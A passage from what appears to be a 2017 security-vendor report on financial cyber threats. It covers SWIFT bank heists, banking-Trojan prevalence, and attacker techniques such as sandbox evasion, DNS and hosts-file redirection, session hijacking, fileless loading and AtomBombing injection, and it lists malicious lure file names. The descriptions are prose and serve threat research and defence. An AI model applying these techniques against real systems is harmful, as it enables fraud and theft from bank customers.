mation or blackmailing the banks. For example, in November 2016 newspapers reported on a case of a bank in Lichten-stein where cyber criminals had breached the bank’s security measures and extracted the account information of various customers. Subsequently the customers received a blackmail
notice demanding they pay 10 percent of their account balance
or risk having their information published online.
These incidents, along with past activity of the Carbanak,
Calcium (Fin7) and Metel groups indicate that many attackers
are increasingly focusing on corporate targets. Attack groups are either going after the financial departments of corpora-
tions or directly attacking the financial institutions.
Two widely discussed groups targeted the inner workings of
the international financial system in 2016, hinting at how
financial institutions would be facing a much different kind of
threat in 2017.
Lazarus
A cyber heist on the Bangladesh central bank in early 2016 was one of the most audacious bank heists of its kind. The
criminals got away with US$81 million and, were it not for
a typo and the suspicions of eagle-eyed bank officials, could have made off with $1 billion.
The criminals exploited weaknesses in the Bangladesh bank’s
security to infiltrate its system and gain access to computers with access to the SWIFT network. The attackers were able to
steal the bank’s operator credentials, which allowed them to
make the fraudulent transactions on the messaging interface connected to the SWIFT network. This was not due to a vulner -
ability in the SWIFT network, as the attackers simply took control of a trusted computer to orchestrate the fraudulent transactions. The criminals then used malware to cover their
tracks. The malware was able to doctor the bank’s printed
transaction confirmation messages in order to delay discovery of the transactions. The attackers also carried out the attack
at the start of a long weekend in Bangladesh, further reducing
the chances of the theft being discovered.
The criminals made several transfer requests to the Federal
Reserve Bank of New York for it to transfer the Bangladesh
bank’s money, primarily to locations in the Philippines and Sri Lanka. Four requests to transfer $81 million to entities in the
Philippines successfully went through but a request to transfer
$20 million to a non-profit foundation in Sri Lanka raised suspicions because the word foundation was spelled incorrect -
ly. This led to the transfers being suspended and clarification being sought from Bangladesh, which was how the fraud was uncovered. However, by then the $81 million had disappeared,
primarily into accounts related to casinos in the Philippines.
Most of that $81 million remains unrecovered; however, $15
million was returned by a casino in the Philippines to the
Bangladesh central bank in November 2016.Targeted financial heistsBack to Table of ContentsPage 8
01ISTR Financial Threats
Review – May 2017
The methods used in this attack, in particular the in-depth
knowledge of the bank’s SWIFT systems and the steps taken to
cover the attacker’s tracks, are indicative of a highly proficient
actor. This was an incredibly audacious hack, and was also the first time strong indications of nation-state involvement in
financial cyber crime had been observed, with the attack being
linked to nation-state actors in North Korea.
Symantec’s analysis of the malware (Trojan.Banswift ) used
in the attack on the Bangladesh bank found evidence of code
sharing between this malware and tools used by Lazarus—a group the FBI claims has links to the North Korean govern-
ment. This same group was also linked to two earlier heists
targeting banks that make transfers using the SWIFT network, though the SWIFT network itself was not compromised in any
of these attacks. Vietnam’s Tien Phong Bank revealed that
it had intercepted fraudulent transfers totaling more than $1 million in the fourth quarter of 2015, while research by
Symantec also uncovered evidence that another bank was
targeted by the same group in October 2015.
A third bank, Banco del Austro in Ecuador, was also reported
to have lost $12 million to attackers using fraudulent SWIFT
transactions, although no definitive link could be made between that fraud and the attacks in Asia.
At the end of 2016, more than 100 institutions in 31 countries,
mostly in the financial sector, were targeted by a focused watering hole attack. With 25 targets, the main focus of
the campaign was Poland, followed by the U.S. and Mexico.
Analysis of the malware used in this attack (Downloader.Ratankba ) revealed many similarities to the Lazarus group.
OdinaffA campaign involving malware called Trojan.Odinaff was
discovered to be targeting financial organizations worldwide in 2016. The attacks leveraging Odinaff were sophisticated and clearly carried out by a professional cyber criminal gang. While
also targeting users of the SWIFT messaging service, there is
no evidence linking these attacks with the Banswift attacks. In the Odinaff campaign the attackers again exploited weakness-
es in banks’ security to infiltrate their internal networks and
compromise their operators and applications connected to the SWIFT network – however the SWIFT network itself was not
exploited or compromised in any of these attacks.
Symantec research indicates that campaigns using Odinaff
began in January 2016 and were focused on organizations
in the banking, securities, trading, and payroll sectors. The
Odinaff Trojan was typically deployed in the first stage of an attack to gain a foothold on the network.Attacks involving Odinaff were highly sophisticated, requiring a large amount of hands-on involvement, with methodical
deployment of a range of lightweight backdoors and purpose-
built tools onto computers of specific interest.
The Trojan was most commonly deployed in documents
containing malicious macros, while botnets were also used to
deploy it. The attacks were carefully managed, with the threat actors maintaining a low profile on the targeted organization’s
network, only downloading and installing new tools when
necessary.
Tools used in the Odinaff attacks bear the hallmarks of the
infamous Carbanak group , which has been targeting the
financial sector since 2013.
Carbanak’s activities were discovered in late 2014 and the
group is believed to have targeted hundreds of banks in multiple
countries, with estimates from some in the cyber security community of the money it has stolen ranging up to $1 billion.
Symantec discovered multiple links between Carbanak and
the Odinaff attackers; however, the infrastructure crossover is atypical, meaning it could be a similar or cooperating group if
the Odinaff attackers are not part of the wider organization.
The Odinaff and Banswift attacks demonstrated that, while
in 2016 many attackers moved back to utilizing existing tools
and techniques such as spear phishing to target victims, there
are still cohorts of extremely sophisticated cyber criminals deploying advanced campaigns for big financial rewards. Internet Security Threat Report
Infection, prevalence,
and distribution
02SectionInfection, prevalence, and distributionBack to Table of ContentsPage 10
02ISTR Financial Threats
Review – May 2017
Infection, prevalence, and distribution
Infection vectors
Infection vectors for financial Trojans haven’t changed much
in the past year and are still identical to other common Trojans.
Distribution mainly relies on spam email with malicious droppers attached and web exploit toolkits.
The use of scam emails was the most prevalent method of
distribution for financial Trojans in 2016. The already well-known Office document attachment with malicious macros
continued to be widely used. However, Microsoft Visual Basic
Scripting (VBS) and JavaScript (JS) files in various attachment forms have also been used in massive spam runs to distribute
malware. We have also seen Office documents without macros,
and instead with embedded OLE objects and instructions for the user to double click the payload. The Necurs botnet
(Backdoor.Necurs ), which sent out more than 1.8 million JS
downloaders on one day alone in November 2016, highlights
the magnitude of some of these campaigns.
Document macro and JS downloader detections per month
in 2016
100,000200,000300,000400,000500,000600,000700,000800,000
DEC NOV OCT SEP AUG JUL JUN MAY APR MAR FEB JANJS.Downloader W97M.Downloader
Some of the groups are fast to adopt new exploits, for example
on April 10, 2017 Dridex (W32.Cridex ) used a just recently
discovered zero-day vulnerability in Microsoft Word to infect thousands of users. Large waves of infected emails were sent out and opening the document infected the computer with a
Dridex variant.
Other groups focus on the social engineering. We have seen
phishing emails personalized using names and other infor -
mation obtained from data breaches. Some of the scam emails were even sent out by legitimate well-known email service providers (ESP) offering email marketing and transactional
email services. As pointed out by GovCERT Switzerland, this
can increase the chances of such emails reaching the user’s inbox. In the case of Dridex, the spam email was constructed
very convincingly and lead to a malicious JS downloader.Typical lure email with malicious document attachment
Phishing emails, where the victim is lured to fake websites
that trick them into revealing their account details, decreased
to just 1 in 9,138 emails in March 2017. In 2016, the average
number of phishing emails was slightly higher than 1 in 3,000 emails. Simple phishing no longer works against most
banks and financial institutions, as they rarely rely on static
passwords alone. However, phishing attacks can still be successful in stealing online retail account credentials and
credit card details.
Web exploit toolkits varied a lot over the year. Angler was the
most active exploit toolkit in January 2016. Then, in March,
Spartan took the crown, only to be once again overtaken by
Angler in May. July was the month where Neutrino was the most active exploit toolkit and the rest of the year belonged
to RIG. In March 2017 RIG was responsible for 13.6 percent
of all exploit toolkit activity, a slight decrease from 25 percent of all activity in February, but still leading the group ahead of
SundDown and Magnitude. In March 2017 we blocked 584,000
web attacks per day, most of them related to financial Trojan and ransomware droppers. The number of malvertising
campaigns, where infected web ads are used to redirect the
user to a web exploit toolkit landing page, increased slightly in 2016.
If you want to learn more about these infection vectors, we
recommend reading last year’s whitepaper—Financial Threats 2015—which highlights the different techniques used by
attackers to distribute financial threats. For many of the threat
families there are dedicated research papers available from us or our research colleagues.
Prevalence
The financial Trojan landscape is in constant development
and we see changes over time due to takedowns or shifts to
newer versions. The most active threat families in 2016 were Ramnit, Bebloh, Snifula, and Zeus variants. The global number Infection, prevalence, and distributionBack to Table of ContentsPage 11
02ISTR Financial Threats
Review – May 2017
of attempted infections by financial Trojans continued to drop
last year. We saw 36 percent less detections on endpoints in
2016 compared to 2015. And in 2015 we observed a 73 percent
drop over the previous year. One of the explanations behind this decline is that security companies are becoming better at
blocking the threats earlier in their cyber kill chain and more
efficient in blocking spam runs. The successful detection of the dropper malware diminishes the infection numbers for the
corresponding financial Trojan. Therefore the real number of
malware that is spammed out to end users is larger than what actually makes it to the endpoint. The increase in detections
around September and October 2016 was mainly due to an
increase in Trojan.Bebloh activity in Japan.
Banking Trojan detections on the computer, 2016 and 2015
50,000100,000150,000200,000250,000
DNOSAJJMAMFJ
2016DNOSAJJMAMFJ
2015
On average, 38 percent of all financial malware detections came
from corporate computers. At the end of 2016 this increased to
a high point of 49 percent. Of course many of these infection
attempts are simply collateral damage due to the wide net cast by many spam campaigns. But, as elaborated earlier, we have
also seen an increase of targeted attempts to specifically infect
enterprise customers with financial threats in order to defraud them of large sums of money.
Distribution of financial malware detections
Consumer Enterprise
102030405060708090100%
DEC NOV OCT SEP AUG JUL JUN MAY APR MAR FEB JANThreat family distribution
Ramnit and Zeus, and its variants, continued to lose their
market share in 2016, whereas other threats like Bebloh gained
traction towards the end of the year. The publicly available Zeus source code has also lead to many spinoff projects over
the years, resulting in a large number of groups using some
variation of the original threat.
After a takedown operation against Ramnit in February 2015
the threat went dormant but then reappeared in 2016 and went
on to dominate the financial Trojan landscape. Ramnit was detected at a high rate consistently for the whole year. Inter -
estingly, as Ramnit was often distributed via the Angler exploit kit in the past, it did not show any drop in activity following the disappearance of Angler in the middle of the year. This
indicates the actors behind the threat adjusted their infection
techniques—for example there were reports of Ramnit being spread via email in the UK during this time.
It should also be noted that some variants of Ramnit self-rep -
licate, infecting executables and HTML files, which contribute
to its prevalence. Some of these older infected files might have
been dormant, but are still contagious and can start to spread
again. For example in July 2016 a huge spike in Ramnit infec-tions was reported in China. This was assumed to be related to
older infected files being propagated once more. We have seen
similar cases contributing to the infection numbers in Japan.
Number of financial threat detections in 2016 and 2015
ThreatCompromised
computers in 2016Compromised
computers in 2015
Ramnit/Gootkit ~460,000 ~779,000
Bebloh ~310,000 ~13,000
Zeus/Citadel &
variants~292,000 ~960,000
Snifula/Vawtrak ~122,000 ~4,500
Dridex/Cridex ~23,000 ~62,000
Dyre ~4,500 ~55,000
Shylock ~4,500 ~14,000
Pandemiya ~3,500 ~600
Shifu ~2,000 ~200
SpyEye ~1,500 ~3,500Infection, prevalence, and distributionBack to Table of ContentsPage 12
02ISTR Financial Threats
Review – May 2017
Bebloh, which occupies second place in the top financial Trojans
list, was aggressively spread which lead to an increase of over
23 times the detection count over the whole year. In September
and October we saw large spikes caused by Bebloh infections, particularly with email campaigns focused on Japan.
Monthly detection count for top four threats in 2016
10,00020,00030,00040,00050,00060,00070,00080,000
DEC NOV OCT SEP AUG JUL JUN MAY APR MAR FEB JANSnifula Ramnit Bebloh Zbot
As previously mentioned, takedowns can change the threat
landscape tremendously, as can be seen by the near disappear -
ance of the Dyre and Shylock (Trojan.Shylock ) Trojans in 2016.
The dismantling of the Avalanche malware-hosting network at the end of 2016, which was also used by Bebloh, resulted in a
sharp drop in Bebloh activity beginning in November. After the
arrest of the alleged author behind Trojan.Snifula in January 2017, we saw a drop in detections of Snifula as well. Both of
these events lead to the dropping of detection numbers, for
Bebloh by 66 percent from December 2016 to March 2017, and for Snifula numbers dropped by 83 percent in the same time
frame. Now these threats appear to have almost vanished.
Detection numbers for Snifula and Bebloh in Q1 2017
2,0004,0006,0008,00010,00012,00014,0001600018,00020,000
Mar-2017 Feb-2017 Jan-2017 Dec-2016Bebloh SnifulaGeographical distribution
As discussed, the quantitative detection rates for each country
heavily depend on the threat group and the time period of
the group activity. Some of the threats have a very narrow geographical focus and are not distributed around the globe
while other groups move from country to country in waves.
There are two notable trends that stand out when analyzing
the financial threat distribution per country. For one, there
is a large increase of detections in Japan. There was a more
than 11-fold increase in the detection count for Japan in 2016, making it the most attacked country globally. The other notice -
able trend was that attacks in the U.S. decreased by 26 percent, dropping the country to the fourth most attacked country globally.
Computers compromised with banking Trojans,
by country 2016
50 100 150 200 250 300 350 400 450 500GermanyTurkeyUnited KingdomVietnamPhilippinesIndonesiaUnited StatesIndiaChinaJapan
THOUSAND
Of course it should be clear that financial threats are a global problem and no country is really safe from them. Smaller
countries may not make it to the top 10 list in terms of total
detection numbers, but relative to the connected population, the risk can still be substantial. For example IBM reported in
September 2016 on Dridex attack waves that, among other countries, focused on Latvia, a country which in the past has not been a priority for financial threat gangs.Infection, prevalence, and distributionBack to Table of ContentsPage 13
02ISTR Financial Threats
Review – May 2017
Countries ranked by percentage of global detections seen
per year
RegionPercentage of global
detections 2016Percentage of global
detections 2015
Japan 36.69% 3.21%
China 6.92% 4.69%
India 6.37% 6.31%
United States 6.30% 8.54%
Indonesia 4.78% 6.31%
Japan in focus
In our Financial Threats 2015 paper we had already seen a
spike in attacks against Japan and correctly predicted more
would follow. We have seen a large increase in financial Trojan detections in Asia with Japan, China, India, the Philippines,
and Vietnam all gaining places in the top 10 list. This shows
that the attackers are trying to expand to less saturated
regions, which may also be less protected.
We have seen Bebloh and Snifula specifically focusing on
financial targets in Japan, which helped drive up the infection
count for this country. More than 90 percent of the Bebloh
detections seen globally where in Japan. In January 2016, 30 percent of Snifula detections were in the U.S., however, it
shifted focus in the second half of the year when more than
90 percent of the detections for this threat were in Japan. It is unclear what motivated the shift.
Detections in Japan as a percentage of global detections,
grouped by two months in 2016.
102030405060708090100%
Jan/Feb
2017Nov/Dec Sep/Oct Jul/Aug May/Jun Mar/Apr Jan/Feb
2016Bebloh Snifula
At least 19 financial institutions in Japan have been targeted
by Snifula and Bebloh. As has been noted by others as well, it
is interesting to see that both threat families seem to be using
the same webinjects and target almost the same list of URLs. This could likely be an indication that both groups are using
the same service for creating webinjects.
If we look at the individual samples, one Bebloh sample alone
was responsible for 47 percent of all global detections in
January 2016. The five most active Bebloh samples together
represented 93 percent of all global detections in January 2016. These five samples also make up 90 percent of all detections in
Japan for this period. In December 2016, the same five samples
were still responsible for 0.6 percent of all global detections. This shows the attackers did not change the sample very often
and did not deploy sophisticated polymorphic runtime packers
for their final payload.
All these samples were spammed out in simple emails disguised
as documents from a scanner with one of the following double
extension file names:
|scan(2).doc.2016.01.20.PDF.exe
|scan01_doc_2015~jpeg.jpeg.exe
|IMAGE(1).15_02_2016_PDF_PNG.PDF.EXE
|image_n_(1) 20160217_PNG,PDF.png.exe
A similar situation can be found with Snifula, where the top
five samples in December 2016 made up 94 percent of all global
detections. Remarkably similar to Bebloh, these samples were spammed out in email waves with one of the following double
extension file names:
|MX_20161031_1530380.JPG.exe
|43894370932861.html.exe
|IMG_20161020_095456~1.jpg.exe
|ID654093871066.PDF.EXE
As previously discussed, both Bebloh and Snifula declined considerably at the beginning of 2017 following disruptions by
law enforcement.
Distribution in relation to configuration
While analyzing three Dridex samples, which had the same configuration file and most likely came from the same spam
run, we noticed something interesting: they each target the
same 16 financial URLs in Germany and 10 in Austria. Looking at the top five countries where we have seen these samples
reveals an interesting pattern. As expected, they have all been
seen in Germany and Austria but these two countries were found to be the most prevalent locations for only one of the
three samples. The samples were also observed in the U.S.,
which could be explained by a VPN or internet provider using IP addresses in that country. However, it is questionable if that
explanation can be used to explain the infections in Israel and
the Philippines. All that can be said is that, likely due to the Infection, prevalence, and distributionBack to Table of ContentsPage 14
02ISTR Financial Threats
Review – May 2017
chosen distribution pattern of spam email, the attacks are not
as well targeted as we would have expected. Of course three
samples is not a representative set for the thousands of spam
runs, but we have found that this holds true for many of the samples that we looked at. This highlights how far the samples
are spread really depends on the threat family and the criminal
group behind it. As we have seen, some Bebloh variant detec-tions and targets may be nearly all in Japan, whereas the
discussed Dridex samples have a wider distribution.
Regional distribution of the three Dridex samples
discussed
Sample 1 Sample 2 Sample 3
United States 42.7% 8.7% 89.4%
Germany 22.9% 26.1% 2.1%
Austria 16.7% 34.8% 3.4%
France 7.3% 17.4% 3.9%
Israel 10.4% 0.0% 0.0%
Philippines 0.0% 13.0% 0.0%
China 0.0% 0.0% 1.3%
Analysis of targeted institutions
In 2016, we observed many attack groups focusing on specific
geographical locations. Therefore some of the threats might
not play a significant role on a global level but can be very active in smaller markets.
We analyzed 684 samples from four threat families: Dridex,
Snifula, Panda Banker (Trojan.Exedapan ), and Trickbot (Trojan.
Trickybot ). This revealed 301 unique URL patterns from 132
institutions in 17 countries that the malware was monitor -
ing for. If we focus on countries that are common to all the samples analyzed, 79 percent attacked at least one financial
institution in the U.S., making it the most targeted country by
institutions, followed by Poland and Japan. On average, each sample targeted 37 different institutions. Most targeted countries based on URLs in webinject
configuration
Rank Country
1 United States
2 Poland
3 Japan
4 Australia
5 New Zealand
6 Germany
7 Austria
8 United Kingdom
9 Canada
10 Italy
11 Iran
12 China
13 Spain
14 Tonga
15 France
Unfortunately the list of targeted banks and countries is very
dependent on the individual spam runs of the cyber criminals.
A country can be ranked on top one month and disappear from
the top 20 the next month. For instance, we have seen attack waves where criminals switched overnight from attacking
Australia and New Zealand to attacking Germany and the UK.
Furthermore, as we will discuss later, we have noticed a trend
for threats to redirect traffic completely or to use dynamic
injects from a remote server. These samples will redirect
traffic from any visited website that contains the word “bank” in the URL. This means the malware will not download the full
configuration file to the client, keeping this information from
researchers. In addition to this we have seen some malware authors hiding their implants completely. Previously configu-
ration files of financial Trojans always contained a list of URLs
of interest stored in an encrypted file. However, we have seen
new variants of Blackmoon (Infostealer.Boyapki.E) that only
store the SHA1 hash of the URL, concatenated with a unique salt value. This makes it almost impossible to reconstruct a
complete list of targeted URLs. Infection, prevalence, and distributionBack to Table of ContentsPage 15
02ISTR Financial Threats
Review – May 2017
Nevertheless, if we take all the samples we analyzed and
weight them according to their prevalence, then we see that
four banks headquartered in Australia were in 38 percent of all the samples, making them to most attacked financial insti-
tutions in our sample group.
Top targeted financial institutions in sample group
1020304050%
Australia
Bank 1
Australia
Bank 2France
Bank 1Austria
Bank 1UK
Bank 1UK
Bank 2Italy
Bank 8Germany
Bank 1USA
Bank 1
Italy
Bank 3Italy
Bank 1
Italy
Bank 2
Italy
Bank 4
Italy
Bank 5
Italy
Bank 6
Italy
Bank 7Iran
Bank 1
France
Bank 2
Australia
Bank 3
Australia
Bank 422% 24% 25% 26% 28% 29%34% 35% 38%PERCENT OF ALL SAMPLES
The country distribution is slightly different for the mobile
threat landscape. The analyzed samples of mobile malware Android.Fakebank.B target 169 different mobile applications
from 24 different countries. With 29 targeted institutions
based in the U.S., this country is targeted the most, followed by Turkey and France.Top 10 countries targeted by Android.Fakebank.B
Rank Country Percentage
1 United States 17.16
2 Turkey 11.24
3 France 10.65
4 Germany 9.47
5 Australia 7.10
6 Thailand 5.92
7 United Kingdom 5.92
8 Poland 5.33
9 Austria 4.73
10 Russia 3.55Internet Security Threat Report
Tactics, techniques,
and procedures
03SectionTactics, techniques, and proceduresBack to Table of ContentsPage 17
03ISTR Financial Threats
Review – May 2017
Tactics, techniques, and procedures
Most financial threats deploy a general set of modules for
various tasks such as taking screenshots or videos, keylog-
ging, form grabbing, or installing SOCKS proxies and remote
access tools like hidden VNC servers. Many attackers use free SSL certificates to protect their infrastructure. Some variants
of Snifula (aka Vawtrak) now even implement SSL pinning for
their command and control (C&C) infrastructure, making them more difficult to monitor.
Modern malware often deploys various anti-debugging
tricks in an attempt to make analysis more difficult. Process hollowing and injecting into system processes is still a very
common tactic used by malware authors to try and remain
hidden on infected computers. The use of dynamic API resolu-tion and checking for user land hooks as methods to attempt
to bypass security tools has increased as well.
Source code merging
The financial malware ecosystem is constantly evolving.
Besides the availability of financial malware as a service, which is helping to lower the entry barrier for aspiring cyber
criminals, there are also quite a few new families being created.
Since the source code of many threat families has been leaked in the past it is easy for attackers to modify or even combine
them to create new malware families. Examples of this include
Goznym (Trojan.Nymaim.B), a crossbreed of Nymaim and Gozi ISFB, and Floki Bot (Trojan.Flokibot ), which is based on
Zeus code. Unfortunately this uncontrolled growth makes it difficult to clearly distinguish between threat families as new variants could be a simple evolution or an entirely new branch
utilized by a new group.
Sandbox evasion
Malware authors are wary of their creations being analyzed
with automated analysis tools. Hence virtual machine (VM) and sandbox detection have become a standard feature
among malware. We have reported in the past on the various
methods used for detecting and bypassing sandboxes. In 2016, 20 percent of malware was able to detect and identify the
presence of a VM environment, an increase from 16 percent in
2015. Some threat families, such as Zeus and Dridex, are more cautious in virtual environments than others, unlike Snifula,
which rarely stops executing on VMs. Percentage of VM aware samples in 2016 per family
Threat familyPercentage of samples that are
VM aware
Ramnit/Gootkit 5.97
Bebloh 6.82
Zeus & variants 39.65
Snifula 1.59
Dridex/Cridex 34.27
Most script downloaders, even the ones in Office macros, are
able to detect sandboxes through delays and environmental
checks and deny execution if needed. Of course, bypassing a
sandbox is not the same as detecting a virtual environment. Goznym checks the current date, which has to be close to the
real date of the infection campaign. This ensures that only
fresh samples execute and hinders later attempts at analysis.
If the threat manages to bypass the gateway and execute on
the computer it will often attempt to kill any process related
to security tools. Some even try to sabotage the update process or add themselves to the exclusion list, as recently observed in
a Dridex variant. However, these methods do not work against
Symantec’s products.
Remote desktop access
A popular method used by attackers to carry out fraudulent transactions is to open a remote session to the compromised
computer. Some attackers simply enable the Windows
Remote Desktop Protocol (RDP) allowing them to connect to the compromised computer. Other threats, such as Dridex
and Ramnit, have the capability to deploy a virtual network
computing (VNC) module that gives the attackers full remote control over the compromised computer. While VNC on its own
is not malicious and is often used by system administrators
for legitimate purposes, it gives criminals access to a hidden virtual desktop so that their activities go unnoticed by the user.
This attack method works well against device fingerprinting
protection, as the attackers are using the victim’s computer to carry out the fraudulent transactions. Hence the only chance
for the anti-fraud team to notice the attack is by analyzing the
transfer patterns and transaction history.
The same method can also be applied if the compromised
computer belongs to the finance department of a company.
Dridex and other families check for the presence of interest -
ing software tools that may signal the computer is of interest
and will assign a manual scam operator if this is the case.
This approach will be discussed in more detail in the Targeted financial heists section.Tactics, techniques, and proceduresBack to Table of ContentsPage 18
03ISTR Financial Threats
Review – May 2017
Diversion
Cyber criminals can also combine attack methods to create a
diversion. In last year’s white paper we discussed how attackers
are using distributed denial of service (DDoS) attacks to keep the banks busy, while the criminals empty customers’ bank
accounts. Other groups, like Dyre, block access to the bank’s
online banking website with a DDoS attack so that customers are unable to verify if their account has been hacked. In some
cases this is paired with a phone denial of service (DoS) attack
against the support hotline.
Recent leaked documents published by Wikileaks suggest
that nation-state attackers were using the Carberp malware
source code to create their own modified malware variants. As mentioned in last year’s white paper, we have seen APT groups
using Trojan.Zbot in their attacks for similar reasons. These
cyber crime toolkits are quite sophisticated and therefore it makes sense to copy them. At the same time the use of common
malware allows the attackers to blend in with the masses
without raising suspicion should the attack be detected—most organizations do not investigate further if common threats
such as Zbot or Carberp are detected.
Webinjects
Webinjects allow malware to modify data in the browser before
it is displayed to the user and before it is sent to the service provider. In the past, JavaScript-based webinject commands
were stored encrypted on the local computer and would start
when a specific URL was triggered. Most modern webinjects can load the final payload from a remote server, which allows
for dynamic adaptation for the specific target. The accounts
of the money mules are loaded in real time when needed and replaced with fresh ones if any are blocked. Any encountered
errors are sent back to the malware authors, who quickly
adapt the injected scripts to handle any new defense measures implemented by the financial institutions.
The injected scripts can also mimic the user’s behavior and
add delays between filling out forms and submitting them, making it more difficult to spot the scam on the backend.
Redirection method
Since an increasing number of security tools monitor and
block any injection into a web browser, quite a few financial
Trojans have changed their behavior in an attempt to evade local detection. Instead of injecting into the browser they try
to redirect network traffic to a website they control. While
this type of traffic redirection was a trick deployed by banking Trojans in the early days, it is now experiencing a comeback.
In 2014, Dyre was one of the first groups to start focusing on
redirection again.Some variants of Ramnit have started to create their own local proxy in order to redirect web traffic through it. The threat still
needs to inject a module into the browser in order to be able to
redirect the traffic but that uses different APIs. The threat also hooks the certification validation API in crypt32.dll, enabling
it to listen into SSL communications as well and suppressing
error messages from the user.
Another popular method is to change the DNS server—
sometimes referred to as pharming. This simple method is
widely used in Latin America. As an example, Infostealer.Banprox.B modifies the default DNS server and also installs a
rogue root certificate in order to suppress SSL warnings.
Blackmoon, which is mainly active in South Korea, can modify
the local hosts file, redirecting specific domains to a remote
server under the control of the attacker. This malware also sets
new DNS servers and flushes any cached DNS resolver pairs. The idea of using the hosts file as a redirector is definitely
not new, but we have seen an upward trend in the use of these
old-school methods. Some Dridex variants poison the local DNS cache by adding a malicious entry for certain domains,
resulting in the same effect.
Other variants of Blackmoon have used Proxy Auto-Con-
fig (PAC) configuration in order to automatically modify the
browser’s proxy settings for certain URLs. While others use
PowerShell scripts to modify the system and browser proxy and DNS settings.
It’s not just since the rampage of the Mirai IoT botnet that
attackers have known that routers are an easy target. Instead of using compromised routers as a DDoS attack weapon, some
attackers simply switch the DNS server in order to perform
MitM attacks. For example, we blogged about such attacks against routers in Mexico back in 2008.
Sometimes the attackers get lucky and hijack whole DNS
servers, such as in October 2016 when a Brazilian bank lost control of all of its online presence for five hours, allowing
attackers to redirect customers to fraudulent websites.
The redirection is not always limited to a small set of targeted
URLs. In June 2016 we saw Trojan.Retefe attacking UK
customers. Besides a dozen hardcoded URLs, the threat also redirected any connection to a .com or .co.uk domain to the
malicious proxy. Allowing the attackers to expand their reach
significantly.
All of the above mentioned redirection methods will lead to
the user ending up at a fake website created by the attacker or
a transparent proxy that can modify the traffic in both direc-tions. This also means that the logic of the webinjects rests on Tactics, techniques, and proceduresBack to Table of ContentsPage 19
03ISTR Financial Threats
Review – May 2017
the remote server and therefore is more difficult for security
researchers to analyze.
Of course, keeping a collection of fake websites updated is a lot
of work for attackers, but it pays off. One of the big disadvan-tages for attackers is that the traffic to the bank is now coming
from a different IP address (unless it’s a local proxy), and too
much traffic from the same address can raise suspicion.
Session hijacking
Some online services solely rely on session tokens or cookies once the initial authentication is made. Some threats will
steal valid tokens and send them back to the C&C server. An
automated script can then use the token to log into the bank and issue transactions. In order to mimic the user’s browser
as best as possible the attacker can clone the browser user
agent and other identification attributes like screen resolu-tion. However, the IP address will still be different and can be
picked up by anti-fraud backend systems. In order to bypass
such checks, attackers can use a hidden instance of the same browser on the compromised computer or install a proxy and
bounce the transaction through the victim’s computer.
Fileless load points
Following the trend of leaving less obvious traces on compro -
mised systems, we have seen financial Trojans beginning to
use fileless load points. For example, some Ramnit variants
make use of hidden load points by using a Group Policy Object
(GPO). Older versions registered a scheduled task to load the watch dog DLL every minute or created a Windows service
entry with a randomized name.
In early 2016, some variants of Ramnit used their loader DLL
to download the actual payload from the internet over SSL.
This on its own is nothing new, as SSL has been used to add
another layer of obfuscation for some time now. The interest -
ing part is that the downloaded payload is stored as an XOR
encrypted blob inside the Windows registry. The loader thread,
which typically runs inside explorer.exe, can then decrypt the payload from the registry and inject it into the process.
Overlay forms
Some minor threats have been experimenting with window
overlays. In this technique the Trojan waits for the user to visit
a specific online banking service or open a dedicated banking application. It then creates a fake window which is placed on
top of the original form. With this, the user is asked to enter
their account credentials, which are then stolen. As the threat does not need to hook the browser or get notified about the
URLs, it doesn’t ring any anti-hooking alarms. Although not
commonly used by desktop-based threats, this method is widely used by mobile threats. AtomBombing injectionAt the beginning of 2017, Dridex started to distribute a new
version (version number 4).
One of the most notable changes was that the threat started
using so-called AtomBombing to inject malicious code into the
target process. This method has been known for some time but
it is the first time we have seen it used by a financial Trojan. As this method has generated much discourse, we will discuss
it here in more detail. AtomBombing relies on Windows atom
tables, or more specifically on the NtQueueApcThread and NtSetContextThread APIs.
Commonly a threat would use the VirtualAllocEx API to
allocate a buffer in the remote target process. It would then copy the payload with the WriteProcessMemory API to the
allocated buffer. Finally, the payload is executed with a call to
CreateRemoteThread.
With this method the threat can write the payload to the
Windows atom table with GlobalAddAtomW and then use,
for example, the NtQueueApcThread API to have the remote process call GlobalGetAtomW to load the payload from the
table and write to its own memory. This allows for indirect
writing to the target memory space.
Next step is to remotely execute the written payload (Dridex
uses NtProtectVirtualMemory to achieve this). Another
method, which was described in detail by enSilo in 2016, is to use an ROP chain to allocate an RWX memory region and copy
the payload there before jumping to the RWX memory and
executing the code.
Other threats like Shifu (Infostealer.Shifu ) make use of atoms
to check if an instance is already running, instead of the more
common method of using mutexes.
Symantec’s behavioral detection engine has been monitoring
these calls for many years and is able to block AtomBombing
injections (detected as SONAR.ProcHijack). The use of this new technique is another sign that security products are protecting
against the usual process injection methods and attackers are
scrambling to find new tactics.
Social engineering attacks
Social engineering plays a large role in most financially motivated attacks, either during the infection phase or when
overcoming multi-factor authentication. There are also some
types of attacks that do not require any malware and rely solely on social engineering. We have discussed business
email compromise (BEC) attacks in the past, where scammers
send convincing emails to the finance department trying to convince them into transferring money. Tactics, techniques, and proceduresBack to Table of ContentsPage 20
03ISTR Financial Threats
Review – May 2017
The social engineering tactics used in BEC scams continue
to evolve. For example, there has been an increase in attacks
where email servers are being compromised or scammers
are registering similar looking domain names to those used by targeted organizations. The scammers then wait until the
time of the month when the target organization sends out its
invoices and then either switches the account number on the fly or sends a second email from a lookalike domain with a
slightly modified invoice and a note that the account number
has changed. As the customer is expecting an invoice from the organization, the scam is even more convincing. We expect
these low tech scams to keep evolving.
What are they stealing?
Once a financial threat has compromised a computer it will
steal any credentials that will help the malware operators maximize their profits. Besides stealing online banking
credentials, they may search for other passwords as well.
It is common for financial threats to steal any other account
information that they can find on a compromised computer.
After all, the attackers want to make profits and stolen
accounts could help spread their malware further or be sold on underground forums. Ramnit, for example, steals account credentials for various administration tools and FTP clients.
Crypto currencies such as Bitcoin are commonly targeted as
well. We have also seen several samples stealing online retail access, auction platform account credentials, online game
credentials, and login data for music and video streaming
services. This is also reflected in popular underground markets where we have seen an increase in such account credentials
being offered for sale.
The majority of digital goods offered on publicly accessible
underground forums and dark web TOR sites remained stable
since last year. Credit card details are still the most sold digital
goods on underground forums. Bank account access informa-tion is priced according to the account balance. For example, an
account with $1,000 in it can be sold for $10. An account with a
greater balance will be on sale for a larger sum.
Symantec observed an increase in offers for money transfer
services, which were being sold for around 10 percent of their
value—for example pay $100 in bitcoins for a money transfer of $1,000. This indicates that the process of cashing out the
stolen money is still the most difficult step in the chain for
cyber criminals.
Underground advert for bank account loginsInternet Security Threat Report
Attacks against ATM,
POS, and mobile
04SectionAttacks against ATM, POS, and mobileBack to Table of ContentsPage 22
